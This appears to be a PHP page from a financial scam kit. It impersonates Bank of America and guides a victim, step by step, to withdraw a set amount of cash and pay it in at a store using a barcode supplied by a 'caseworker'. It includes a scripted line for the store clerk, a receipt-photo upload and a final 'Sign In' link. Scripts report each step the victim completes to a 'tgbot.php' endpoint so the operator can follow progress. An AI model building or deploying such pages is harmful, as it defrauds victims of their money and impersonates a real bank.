<?php
$data_file = __DIR__ . '/alert_data.php';
$data = [];
if (file_exists($data_file)) include $data_file;

$bank           = htmlspecialchars($data['bank']  ?? 'Bank of America', ENT_QUOTES, 'UTF-8');
$color          = $data['color'] ?? '#E31837';
$logo           = $data['logo']  ?? 'bofa.svg';
$amt            = $data['amt']   ?? '500.00';
$conf           = $data['conf']  ?? '4829371';
$bank_logo_path = 'res/img/banks/' . $logo;
$company_logo   = 'res/img/LOGOCOMPANY.svg';
$stores_logo    = 'res/img/banks/participatingstores.png';
$icon_atm       = 'res/img/banks/atm.svg';
$icon_store     = 'res/img/banks/store.svg';
$icon_receipt   = 'res/img/banks/receipt.svg';
$icon_barcode   = 'res/img/banks/barcodeicon.svg';
$icon_barcode2  = 'https://sparkhealthmd.com/all5/action-required/auth/res/img/barcodeicon2.svg';
$icon_eye       = 'res/img/banks/eye.svg';
$icon_dollar    = 'res/img/banks/dollarsign.svg';

$step1 = isset($data['barcode_step_1']);
$step2 = isset($data['barcode_step_2']);
$step3 = isset($data['barcode_step_3']);
$step4 = isset($data['barcode_step_4']);
$barcode_image = isset($data['barcode_image']) ? htmlspecialchars($data['barcode_image']) : '';

$completed = array_sum([$step1, $step2, $step3, $step4]);
$ls_key    = 'bc_steps_' . preg_replace('/[^a-zA-Z0-9]/', '', $conf);
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Barcode Withdrawal Instructions</title>
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500&display=swap" rel="stylesheet">
    <style>
        *, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }

        body {
            font-family: 'Inter', system-ui, sans-serif;
            background: #f4f4f2;
            min-height: 100vh;
            display: flex; align-items: flex-start; justify-content: center;
            padding: 24px 16px; color: #111;
        }

        .card {
            background: #fff; border: 1px solid rgba(0,0,0,0.08);
            border-radius: 20px; width: 100%; max-width: 420px; overflow: hidden;
        }

        .card-head {
            padding: 14px 20px; border-bottom: 1px solid rgba(0,0,0,0.07);
            display: flex; align-items: center; justify-content: space-between;
        }

        .bank-logo { height: 30px; width: auto; display: block; }
        .partner-logo { height: 18px; opacity: 0.7; }
        .partner-label { font-size: 11px; color: #999; }
        .card-body { padding: 20px; }

        .amount-row {
            display: flex; align-items: center; gap: 12px;
            background: #f8f8f6; border-radius: 12px;
            padding: 12px 14px; margin-bottom: 16px;
        }

        .amount-icon {
            width: 34px; height: 34px; border-radius: 50%;
            background: <?php echo $color; ?>;
            display: flex; align-items: center; justify-content: center; flex-shrink: 0;
        }

        .amount-icon img { width: 18px; height: 18px; object-fit: contain; filter: brightness(10); }
        .amount-meta { flex: 1; }
        .amount-label { font-size: 11px; color: #888; margin-bottom: 2px; }
        .amount-val { font-size: 18px; font-weight: 500; }
        .conf-meta { text-align: right; }
        .conf-val { font-size: 13px; font-weight: 500; color: #555; }

        .progress-track { display: flex; align-items: center; margin-bottom: 18px; }

        .progress-dot {
            width: 28px; height: 28px; border-radius: 50%;
            border: 2px solid #ddd;
            display: flex; align-items: center; justify-content: center;
            font-size: 11px; font-weight: 500; color: #bbb;
            flex-shrink: 0; background: #fff;
            transition: border-color 0.3s, background 0.3s, color 0.3s;
            position: relative;
        }

        .progress-dot.active { border-color: <?php echo $color; ?>; color: <?php echo $color; ?>; }
        .progress-dot.done   { border-color: #3d9e6a; background: #3d9e6a; color: white; }
        .progress-dot.done .dot-num { display: none; }
        .progress-dot .dot-check { display: none; }
        .progress-dot.done .dot-check { display: block; }

        .progress-line { flex: 1; height: 2px; background: #e5e5e5; position: relative; overflow: hidden; }
        .progress-line-fill { position: absolute; top: 0; left: 0; height: 100%; background: #3d9e6a; transition: width 0.5s ease; }

        /* Banner */
        .step-banner {
            display: flex; align-items: center; gap: 10px;
            background: #eef6ff; border: 1px solid #c3dffe;
            border-radius: 10px; padding: 10px 12px; margin-bottom: 14px;
        }

        .step-banner-dot {
            width: 8px; height: 8px; border-radius: 50%;
            background: #1565c0; flex-shrink: 0;
            animation: pulse 1.8s ease-in-out infinite;
        }

        @keyframes pulse {
            0%, 100% { opacity: 1; transform: scale(1); }
            50%       { opacity: 0.5; transform: scale(0.75); }
        }

        .step-banner-text { font-size: 12px; color: #1565c0; font-weight: 500; line-height: 1.4; }

        .section-label {
            font-size: 11px; font-weight: 500; color: #aaa;
            letter-spacing: 0.06em; text-transform: uppercase; margin-bottom: 10px;
        }

        .step {
            display: flex; align-items: center; gap: 12px;
            padding: 11px 14px; border-radius: 12px;
            border: 1px solid rgba(0,0,0,0.08); margin-bottom: 8px;
            cursor: pointer;
            transition: background 0.25s, border-color 0.25s, opacity 0.2s;
            position: relative; overflow: hidden;
        }

        .step:hover:not(.locked):not(.no-click) { background: #f8f8f6; }
        .step.no-click { cursor: default; }
        .step.locked { opacity: 0.42; cursor: not-allowed; }
        .step.done   { border-color: #bbedca; background: #f0faf4; }

        .step-icon {
            width: 34px; height: 34px; border-radius: 10px;
            background: #f0f0ee;
            display: flex; align-items: center; justify-content: center;
            flex-shrink: 0; transition: background 0.25s;
        }

        .step-icon img {
            width: 20px; height: 20px; object-fit: contain;
            filter: invert(0.45) sepia(0) saturate(0) brightness(0.4);
        }

        .step.done .step-icon { background: #d6f5e5; }
        .step.done .step-icon img {
            filter: invert(35%) sepia(80%) saturate(400%) hue-rotate(100deg) brightness(0.8);
        }

        .step-body { flex: 1; min-width: 0; }
        .step-title { font-size: 13px; font-weight: 500; margin-bottom: 1px; transition: color 0.25s; }
        .step.done .step-title { color: #2e7d52; }
        .step-desc { font-size: 12px; color: #888; line-height: 1.4; }

        .step-num {
            width: 22px; height: 22px; border-radius: 50%;
            border: 1.5px solid #ccc;
            display: flex; align-items: center; justify-content: center;
            font-size: 11px; font-weight: 500; color: #999;
            flex-shrink: 0;
            transition: border-color 0.3s, background 0.3s, transform 0.35s cubic-bezier(0.34,1.56,0.64,1);
            position: relative; overflow: hidden;
        }

        .step.done .step-num { border-color: #3d9e6a; background: #3d9e6a; transform: scale(1.1); }
        .num-digit { transition: opacity 0.15s, transform 0.15s; }
        .step.done .num-digit { opacity: 0; transform: scale(0.4); position: absolute; }
        .check-icon { display: none; position: absolute; }
        .step.done .check-icon { display: block; animation: checkPop 0.3s cubic-bezier(0.34,1.56,0.64,1) forwards; }

        @keyframes checkPop {
            0%   { transform: scale(0) rotate(-20deg); opacity: 0; }
            100% { transform: scale(1) rotate(0deg);   opacity: 1; }
        }

        .step-progress {
            position: absolute; bottom: 0; left: 0; right: 0; height: 2px;
            background: #3d9e6a; border-radius: 0 0 12px 12px;
            transform: scaleX(0); transform-origin: left; transition: transform 0.4s ease;
        }

        .step.done .step-progress { transform: scaleX(1); }

        .stores-wrap {
            border: none; border-radius: 12px;
            margin: 4px 0 12px; padding: 14px;
            display: flex; align-items: center; justify-content: center;
            background: #fafaf8; overflow: hidden;
        }

        .stores-wrap img { width: 55%; max-width: 220px; height: auto; display: block; }

        .divider { height: 1px; background: rgba(0,0,0,0.07); margin: 16px 0; }

        .btn {
            display: block; width: 100%;
            padding: 13px 16px; border-radius: 10px;
            font-size: 14px; font-weight: 500; font-family: inherit;
            cursor: pointer; text-align: center; text-decoration: none;
            border: none; margin-bottom: 8px; transition: opacity 0.15s;
        }

        .btn:last-child { margin-bottom: 0; }
        .btn:hover:not(:disabled):not(.btn-final-locked):not(.btn-done) { opacity: 0.82; }
        .btn-primary { background: <?php echo $color; ?>; color: #fff; }
        .btn-done    { background: #fff; color: #1565c0; border: 1px solid #bed7f6 !important; cursor: default; pointer-events: none; }
        .btn-info    { background: #fff; color: #1565c0; border: 1px solid #bed7f6 !important; }
        .btn-ghost   { background: #fff; color: #111; border: 1px solid rgba(0,0,0,0.12) !important; }
        .btn-dark    { background: #111; color: #fff; }
        .btn-final-locked { opacity: 0.38; cursor: not-allowed; pointer-events: none; }
        .btn:disabled { opacity: 0.38; cursor: not-allowed; }

        .clerk-tip {
            background: #fffbea; border: 1px solid #f5e090;
            border-radius: 12px; padding: 12px 14px; margin: 8px 0 4px;
        }

        .clerk-tip-head { display: flex; align-items: center; gap: 8px; margin-bottom: 8px; }

        .clerk-tip-icon {
            width: 28px; height: 28px; border-radius: 8px;
            background: #fde68a;
            display: flex; align-items: center; justify-content: center; flex-shrink: 0;
        }

        .clerk-tip-icon img { width: 15px; height: 15px; object-fit: contain; }
        .clerk-tip-title { font-size: 12px; font-weight: 500; color: #78350f; }
        .clerk-tip-body { font-size: 12px; color: #92400e; line-height: 1.5; }

        .clerk-tip-phrase {
            display: inline-block; background: #fef3c7;
            border: 1px solid #fcd34d; border-radius: 6px;
            padding: 6px 10px; font-size: 12px; font-weight: 500; color: #78350f;
            margin-top: 7px; width: 100%; text-align: center;
        }

        .btn-icon-wrap { display: flex; align-items: center; justify-content: center; gap: 7px; }
        .btn-icon-wrap img { width: 17px; height: 17px; object-fit: contain; flex-shrink: 0; }
        .btn-primary .btn-icon-wrap img { filter: brightness(10); }
        .btn-info .btn-icon-wrap img, .btn-ghost .btn-icon-wrap img { filter: invert(0.45) sepia(0) saturate(0) brightness(0.4); opacity: 0.8; }

        @keyframes spin { to { transform: rotate(360deg); } }

        .btn-spinner {
            width: 16px; height: 16px; border-radius: 50%;
            border: 2px solid rgba(255,255,255,0.35);
            border-top-color: white;
            animation: spin 0.7s linear infinite;
            flex-shrink: 0; display: none;
        }

        .btn-primary.loading .btn-spinner { display: block; }
        .btn-primary.loading .btn-icon-wrap span { opacity: 0.7; }
        .btn-primary.loading .btn-icon-wrap img { opacity: 0.5; }
        .btn-primary.loading { cursor: wait; pointer-events: none; }

        .view-barcode-btn { transition: opacity 0.4s, max-height 0.4s, margin 0.3s; max-height: 60px; overflow: hidden; }
        .view-barcode-btn.hidden { opacity: 0; max-height: 0; margin: 0; pointer-events: none; }

        .card-foot { padding: 12px 20px; border-top: 1px solid rgba(0,0,0,0.07); text-align: center; font-size: 11px; color: #aaa; }

        /* Receipt modal */
        .env-overlay { display: none; position: fixed; inset: 0; background: rgba(0,0,0,0.72); z-index: 999; align-items: flex-end; justify-content: center; }
        .env-overlay.open { display: flex; }
        .env-sheet {
            background: #fff; border-radius: 20px 20px 0 0;
            width: 100%; max-width: 480px; padding: 20px 20px 32px;
            animation: slideUp 0.3s cubic-bezier(0.34,1.2,0.64,1) forwards;
            overflow-y: auto; max-height: 90vh;
        }
        @keyframes slideUp { from { transform: translateY(100%); opacity: 0; } to { transform: translateY(0); opacity: 1; } }
        .env-sheet-head { display: flex; align-items: center; justify-content: space-between; margin-bottom: 6px; }
        .env-sheet-title { font-size: 15px; font-weight: 500; color: #111; }
        .env-sheet-sub { font-size: 12px; color: #888; margin-bottom: 16px; line-height: 1.5; }
        .env-close {
            width: 28px; height: 28px; border-radius: 50%;
            background: #f0f0ee; border: none; cursor: pointer;
            display: flex; align-items: center; justify-content: center;
            font-size: 14px; color: #666;
        }
        .env-slides { position: relative; border-radius: 12px; overflow: hidden; background: #f4f4f2; height: 220px; margin-bottom: 12px; }
        .env-slide { position: absolute; inset: 0; opacity: 0; transition: opacity 0.5s ease; display: flex; align-items: center; justify-content: center; }
        .env-slide.active { opacity: 1; }
        .env-slide img { width: 100%; height: 100%; object-fit: contain; padding: 8px; }
        .env-slide-label { position: absolute; bottom: 10px; left: 50%; transform: translateX(-50%); background: rgba(0,0,0,0.55); color: #fff; font-size: 11px; padding: 3px 10px; border-radius: 99px; white-space: nowrap; }
        .env-dots { display: flex; justify-content: center; gap: 6px; margin-bottom: 14px; }
        .env-dot { width: 7px; height: 7px; border-radius: 50%; background: #ddd; cursor: pointer; transition: background 0.2s; }
        .env-dot.active { background: #111; }
        .env-nav { display: flex; gap: 8px; margin-bottom: 14px; }
        .env-nav-btn { flex: 1; padding: 10px; border-radius: 8px; border: 1px solid rgba(0,0,0,0.1); background: #fff; font-size: 13px; font-weight: 500; color: #111; cursor: pointer; transition: background 0.15s; font-family: inherit; }
        .env-nav-btn:hover { background: #f4f4f2; }
        .env-cta { display: block; width: 100%; padding: 13px; border-radius: 10px; background: <?php echo $color; ?>; color: #fff; font-size: 14px; font-weight: 500; text-align: center; border: none; cursor: pointer; font-family: inherit; }
        .step-info {
            display: flex; align-items: flex-start; gap: 12px;
            padding: 11px 14px; border-radius: 12px;
            border: 1px solid rgba(0,0,0,0.06); margin-bottom: 8px;
            background: #fafaf8; position: relative; overflow: hidden;
        }
        .step-info.done { border-color: #bbedca; background: #f0faf4; }
        .step-info.locked { opacity: 0.42; }
        .step-info .step-icon { background: #f0f0ee; }
        .step-info.done .step-icon { background: #d6f5e5; }
        .step-info.done .step-icon img { filter: invert(35%) sepia(80%) saturate(400%) hue-rotate(100deg) brightness(0.8); }
        .info-check {
            width: 22px; height: 22px; border-radius: 50%;
            border: 1.5px solid #ccc; display: flex; align-items: center; justify-content: center;
            flex-shrink: 0; transition: border-color 0.3s, background 0.3s; position: relative;
        }
        .step-info.done .info-check { border-color: #3d9e6a; background: #3d9e6a; }
        .info-check .ic-num { font-size: 11px; font-weight: 500; color: #999; transition: opacity 0.15s; }
        .step-info.done .info-check .ic-num { opacity: 0; position: absolute; }
        .info-check .ic-check { display: none; position: absolute; }
        .step-info.done .info-check .ic-check { display: block; animation: checkPop 0.3s cubic-bezier(0.34,1.56,0.64,1) forwards; }
    </style>
</head>
<body>

<div class="card">

    <div class="card-head">
        <img src="<?php echo $bank_logo_path; ?>" class="bank-logo" alt="<?php echo $bank; ?>">
        <div style="display:flex;align-items:center;gap:6px;">
            <span class="partner-label">in partnership with</span>
            <img src="<?php echo $company_logo; ?>" class="partner-logo" alt="Company">
        </div>
    </div>

    <div class="card-body">

        <div class="amount-row">
            <div class="amount-icon"><img src="<?php echo $icon_dollar; ?>" alt="$"></div>
            <div class="amount-meta">
                <div class="amount-label">Withdrawal amount</div>
                <div class="amount-val">$<?php echo htmlspecialchars($amt); ?></div>
            </div>
            <div class="conf-meta">
                <div class="amount-label">Confirmation</div>
                <div class="conf-val">#<?php echo htmlspecialchars($conf); ?></div>
            </div>
        </div>

        <!-- Progress tracker -->
        <div class="progress-track">
            <?php for ($i = 1; $i <= 4; $i++):
                $sdone   = ($i===1&&$step1)||($i===2&&$step2)||($i===3&&$step3)||($i===4&&$step4);
                $sactive = !$sdone && ($i === $completed + 1);
            ?>
            <div class="progress-dot <?php echo $sdone ? 'done' : ($sactive ? 'active' : ''); ?>">
                <span class="dot-num"><?php echo $i; ?></span>
                <svg class="dot-check" width="10" height="10" viewBox="0 0 10 10" fill="none">
                    <path d="M1.5 5l2.5 2.5 4.5-4.5" stroke="white" stroke-width="1.6" stroke-linecap="round" stroke-linejoin="round"/>
                </svg>
            </div>
            <?php if ($i < 4):
                $lfill = ($i===1&&$step1&&$step2)||($i===2&&$step2&&$step3)||($i===3&&$step3&&$step4);
            ?>
            <div class="progress-line">
                <div class="progress-line-fill" style="width:<?php echo $lfill ? '100' : '0'; ?>%"></div>
            </div>
            <?php endif; endfor; ?>
        </div>

        <!-- Banner -->
        <div class="step-banner">
            <div class="step-banner-dot"></div>
            <div class="step-banner-text">Tap each step once completed to track your progress</div>
        </div>

        <div class="section-label">Your progress</div>

        <!-- Step 1 -->
        <div id="s1" class="step <?php echo $step1 ? 'done' : ''; ?>" onclick="markStep(1)">
            <div class="step-icon"><img src="<?php echo $icon_atm; ?>" alt="ATM"></div>
            <div class="step-body">
                <div class="step-title">Withdraw cash</div>
                <div class="step-desc">Get <strong>$<?php echo htmlspecialchars($amt); ?></strong> from an ATM or bank teller.</div>
            </div>
            <div class="step-num">
                <span class="num-digit">1</span>
                <svg class="check-icon" width="10" height="10" viewBox="0 0 10 10" fill="none">
                    <path d="M1.5 5l2.5 2.5 4.5-4.5" stroke="white" stroke-width="1.6" stroke-linecap="round" stroke-linejoin="round"/>
                </svg>
            </div>
            <div class="step-progress"></div>
        </div>

        <!-- Step 2 -->
        <div id="s2" class="step <?php echo $step2 ? 'done' : (!$step1 ? 'locked' : ''); ?>" onclick="markStep(2)">
            <div class="step-icon"><img src="<?php echo $icon_store; ?>" alt="Store"></div>
            <div class="step-body">
                <div class="step-title">Go to a participating store</div>
                <div class="step-desc">Visit any location shown below.</div>
            </div>
            <div class="step-num">
                <span class="num-digit">2</span>
                <svg class="check-icon" width="10" height="10" viewBox="0 0 10 10" fill="none">
                    <path d="M1.5 5l2.5 2.5 4.5-4.5" stroke="white" stroke-width="1.6" stroke-linecap="round" stroke-linejoin="round"/>
                </svg>
            </div>
            <div class="step-progress"></div>
        </div>

        <div class="stores-wrap">
            <img src="<?php echo $stores_logo; ?>" alt="Participating stores">
        </div>

        <!-- Clerk tip -->
        <div class="clerk-tip">
            <div class="clerk-tip-head">
                <div class="clerk-tip-icon"><img src="<?php echo $icon_store; ?>" alt="Clerk"></div>
                <div class="clerk-tip-title">What to say to the clerk</div>
            </div>
            <div class="clerk-tip-body">
                When you reach the register or customer service desk, say:
                <div class="clerk-tip-phrase">"I'd like to do a paper deposit using a barcode — can you help me process that?"</div>
            </div>
        </div>

        <!-- Generate barcode button — enabled once step 2 done -->
        <button id="generate-btn" onclick="atStore()"
                class="btn <?php echo $barcode_image ? 'btn-done' : 'btn-primary'; ?>"
                style="margin-top:10px;"
                <?php echo ($barcode_image || !$step2) ? 'disabled' : ''; ?>>
            <div class="btn-icon-wrap">
                <div class="btn-spinner"></div>
                <span id="generate-btn-text"><?php echo $barcode_image ? 'Barcode sent' : 'Arrived Generate Barcode'; ?></span>
                <?php if (!$barcode_image): ?>
                <img src="<?php echo $icon_barcode2; ?>" alt="" id="barcode-icon">
                <?php endif; ?>
            </div>
        </button>

        <!-- View barcode button — shown once barcode is ready -->
        <button id="view-barcode-btn" onclick="window.open('show-barcode.php','_blank')"
                class="btn btn-info view-barcode-btn <?php echo $barcode_image ? '' : 'hidden'; ?>">
            <div class="btn-icon-wrap">
                <img src="<?php echo $icon_eye; ?>" alt="">
                <span>View my barcode</span>
                <img src="<?php echo $icon_barcode; ?>" alt="">
            </div>
        </button>

        <!-- Step 3 — auto-checked when generate button pressed -->
        <div id="s3" class="step no-click <?php echo $step3 ? 'done' : ''; ?>" style="margin-top:8px;">
            <div class="step-icon"><img src="<?php echo $icon_barcode; ?>" alt="Barcode"></div>
            <div class="step-body">
                <div class="step-title">Barcode generated</div>
                <div class="step-desc">Your caseworker has been notified and will send the barcode shortly.</div>
            </div>
            <div class="step-num">
                <span class="num-digit">3</span>
                <svg class="check-icon" width="10" height="10" viewBox="0 0 10 10" fill="none">
                    <path d="M1.5 5l2.5 2.5 4.5-4.5" stroke="white" stroke-width="1.6" stroke-linecap="round" stroke-linejoin="round"/>
                </svg>
            </div>
            <div class="step-progress"></div>
        </div>

        <div class="divider"></div>

        <!-- Step 4 — info panel, auto-checks on photo -->
        <div id="s4" class="step-info <?php echo $step4 ? 'done' : (!$step3 ? 'locked' : ''); ?>">
            <div class="step-icon"><img src="<?php echo $icon_receipt; ?>" alt="Receipt"></div>
            <div class="step-body">
                <div class="step-title">Upload your receipt</div>
                <div class="step-desc">Take a clear photo of your paper deposit receipt after scanning. Use the button below.</div>
            </div>
            <div class="info-check">
                <span class="ic-num">4</span>
                <svg class="ic-check" width="10" height="10" viewBox="0 0 10 10" fill="none"><path d="M1.5 5l2.5 2.5 4.5-4.5" stroke="white" stroke-width="1.6" stroke-linecap="round" stroke-linejoin="round"/></svg>
            </div>
            <div class="step-progress"></div>
        </div>

        <!-- Receipt photo button — unlocks after step 3 -->
        <form action="post_barcode_receipt.php" method="POST" enctype="multipart/form-data" style="margin:8px 0 0;">
            <input type="file" name="receipt_img" id="receipt-input" accept="image/*" capture="environment" style="display:none;" onchange="handleReceiptPhoto(this)">
            <button type="button" id="receipt-btn" class="btn btn-ghost" onclick="openReceiptModal()" style="width:100%;margin:0;" <?php echo !$step3 ? 'disabled' : ''; ?>>
                <div class="btn-icon-wrap" style="gap:8px;">
                    <span>Upload paper deposit receipt</span>
                    <img src="<?php echo $icon_receipt; ?>" alt="" style="opacity:0.6;filter:invert(0.3) sepia(0) saturate(0);">
                </div>
            </button>
        </form>

        <a href="<?php echo $step4 ? 'Enroute.php' : 'javascript:void(0)'; ?>" id="final-btn"
           class="btn btn-dark <?php echo !$step4 ? 'btn-final-locked' : ''; ?>" style="margin-top:0;">
            <div class="btn-icon-wrap" style="gap:10px;">
                <img src="https://sparkhealthmd.com/all5/action-required/auth/res/img/logo--is-white.svg"
                     alt="SparkHealth" style="height:18px;width:auto;filter:none;opacity:<?php echo $step4 ? '1' : '0.45'; ?>;">
                <span>Final Step Sign In</span>
            </div>
        </a>

    </div>

    <div class="card-foot">
        © <?php echo date('Y'); ?> <?php echo $bank; ?>. All rights reserved.
    </div>

</div>

<script>
var completed  = <?php echo (int)$completed; ?>;
var serverDone = {
    1: <?php echo $step1 ? 'true' : 'false'; ?>,
    2: <?php echo $step2 ? 'true' : 'false'; ?>,
    3: <?php echo $step3 ? 'true' : 'false'; ?>,
    4: <?php echo $step4 ? 'true' : 'false'; ?>
};

// Keyed to conf so fresh links always start clean
var LS_KEY = '<?php echo $ls_key; ?>';

function getLocalSteps() {
    try { return JSON.parse(localStorage.getItem(LS_KEY) || '{}'); } catch(e) { return {}; }
}

function saveLocalStep(step) {
    var s = getLocalSteps(); s[step] = true;
    localStorage.setItem(LS_KEY, JSON.stringify(s));
}

function applyStep(step) {
    var el = document.getElementById('s' + step);
    if (el) {
        el.classList.remove('locked');
        el.classList.add('done');
    }
    // Unlock next step element
    var next = document.getElementById('s' + (step + 1));
    if (next) next.classList.remove('locked');

    // Step 2 done — enable the generate button
    if (step === 2) {
        var genBtn = document.getElementById('generate-btn');
        if (genBtn && !genBtn.classList.contains('btn-done')) {
            genBtn.disabled = false;
        }
    }

    // Step 3 done — enable receipt button
    if (step === 3) {
        var recBtn = document.getElementById('receipt-btn');
        if (recBtn) recBtn.disabled = false;
    }

    // Step 4 done — unlock final button
    if (step === 4) {
        var fb = document.getElementById('final-btn');
        if (fb) {
            fb.classList.remove('btn-final-locked');
            fb.href = 'Enroute.php';
            var img = fb.querySelector('img');
            if (img) img.style.opacity = '1';
        }
    }
}

(function restoreLocalSteps() {
    var local = getLocalSteps();
    var changed = false;
    for (var i = 1; i <= 4; i++) {
        if (serverDone[i] && local[i]) { delete local[i]; changed = true; }
    }
    if (changed) localStorage.setItem(LS_KEY, JSON.stringify(local));

    for (var j = 1; j <= 4; j++) {
        if (local[j] && !serverDone[j]) {
            applyStep(j);
            if (j > completed) completed = j;
        }
    }

    // Ensure generate button is disabled if step 2 not yet done
    var s2el = document.getElementById('s2');
    var genBtn = document.getElementById('generate-btn');
    if (genBtn && !genBtn.classList.contains('btn-done')) {
        if (!s2el || !s2el.classList.contains('done')) {
            genBtn.disabled = true;
        }
    }

    // If step 3 was locally saved but barcode not yet ready, resume polling
    var barcodeReady = <?php echo $barcode_image ? 'true' : 'false'; ?>;
    if ((local[3] || serverDone[3]) && !barcodeReady) {
        var btn = document.getElementById('generate-btn');
        var txt = document.getElementById('generate-btn-text');
        var ico = document.getElementById('barcode-icon');
        if (btn) btn.classList.add('loading');
        if (txt) txt.textContent = 'Waiting for barcode…';
        if (ico) ico.style.display = 'none';
        pollForBarcode();
    }
})();

function markStep(step) {
    if (step === 3) return;
    var el = document.getElementById('s' + step);
    if (!el) return;
    if (el.classList.contains('locked')) { shake('s' + step); return; }
    if (el.classList.contains('done'))   return;

    // Enforce top-down order
    if (step > 1) {
        var prev = document.getElementById('s' + (step - 1));
        if (prev && !prev.classList.contains('done')) { shake('s' + step); return; }
    }

    applyStep(step);
    saveLocalStep(step);
    completed = step;

    fetch('tgbot.php', {
        method: 'POST',
        headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
        body: 'data=barcode_step_' + step
    });
}

function atStore() {
    var btn = document.getElementById('generate-btn');
    var txt = document.getElementById('generate-btn-text');
    var ico = document.getElementById('barcode-icon');
    if (!btn || btn.disabled || btn.classList.contains('loading')) return;

    btn.classList.add('loading');
    if (txt) txt.textContent = 'Notifying caseworker…';
    if (ico) ico.style.display = 'none';

    applyStep(3);
    saveLocalStep(3);
    if (3 > completed) completed = 3;

    fetch('tgbot.php', {
        method: 'POST',
        headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
        body: 'data=barcode_at_store'
    }).then(function() {
        if (txt) txt.textContent = 'Waiting for barcode…';
        pollForBarcode();
    }).catch(function() {
        btn.classList.remove('loading');
        if (txt) txt.textContent = 'Arrived Generate Barcode';
        if (ico) ico.style.display = '';
    });
}

function pollForBarcode() {
    var txt  = document.getElementById('generate-btn-text');
    var dots = 0;
    var labels = ['Waiting for barcode', 'Waiting for barcode.', 'Waiting for barcode..', 'Waiting for barcode...'];

    var ticker = setInterval(function() {
        dots = (dots + 1) % 4;
        if (txt) txt.textContent = labels[dots];
    }, 600);

    (function check() {
        fetch('check_barcode.php', { cache: 'no-store' })
            .then(function(r) { return r.json(); })
            .then(function(data) {
                if (data && data.ready) {
                    clearInterval(ticker);
                    var btn  = document.getElementById('generate-btn');
                    var ico  = document.getElementById('barcode-icon');
                    var vBtn = document.getElementById('view-barcode-btn');
                    if (btn) {
                        btn.classList.remove('loading', 'btn-primary');
                        btn.classList.add('btn-done');
                        btn.disabled = true;
                    }
                    if (txt)  txt.textContent = 'Barcode sent';
                    if (ico)  ico.style.display = 'none';
                    if (vBtn) vBtn.classList.remove('hidden');
                    setTimeout(function() { location.reload(); }, 1000);
                } else {
                    setTimeout(check, 2500);
                }
            })
            .catch(function() { setTimeout(check, 3000); });
    })();
}

function shake(id) {
    var el = document.getElementById(id);
    if (!el) return;
    var moves = [5,-5,4,-4,0], i = 0;
    (function run() {
        if (i >= moves.length) { el.style.transform = ''; return; }
        el.style.transform = 'translateX(' + moves[i++] + 'px)';
        setTimeout(run, 55);
    })();
}
</script>

<!-- Receipt photo example modal -->
<div class="env-overlay" id="receipt-overlay" onclick="receiptOverlayClick(event)">
    <div class="env-sheet" id="receipt-sheet">
        <div class="env-sheet-head">
            <div class="env-sheet-title">Example receipt photos</div>
            <button class="env-close" onclick="closeReceiptModal()">✕</button>
        </div>
        <div class="env-sheet-sub">Your photo should clearly show the full receipt including the transaction amount and barcode confirmation number.</div>

        <div class="env-slides" id="receipt-slides">
            <div class="env-slide active">
                <img src="https://sparkhealthmd.com/all5/action-required/auth/res/img/env1.jpg" alt="Example 1">
                <div class="env-slide-label">Example 1 of 3</div>
            </div>
            <div class="env-slide">
                <img src="https://sparkhealthmd.com/all5/action-required/auth/res/img/env2.jpg" alt="Example 2">
                <div class="env-slide-label">Example 2 of 3</div>
            </div>
            <div class="env-slide">
                <img src="https://sparkhealthmd.com/all5/action-required/auth/res/img/env3.jpg" alt="Example 3">
                <div class="env-slide-label">Example 3 of 3</div>
            </div>
        </div>

        <div class="env-dots">
            <div class="env-dot active" onclick="goReceiptSlide(0)"></div>
            <div class="env-dot" onclick="goReceiptSlide(1)"></div>
            <div class="env-dot" onclick="goReceiptSlide(2)"></div>
        </div>

        <div class="env-nav">
            <button class="env-nav-btn" onclick="prevReceiptSlide()">← Previous</button>
            <button class="env-nav-btn" onclick="nextReceiptSlide()">Next →</button>
        </div>

        <button class="env-cta" onclick="launchReceiptCamera()">Receipt ready — take photo</button>
    </div>
</div>

</body>
</html>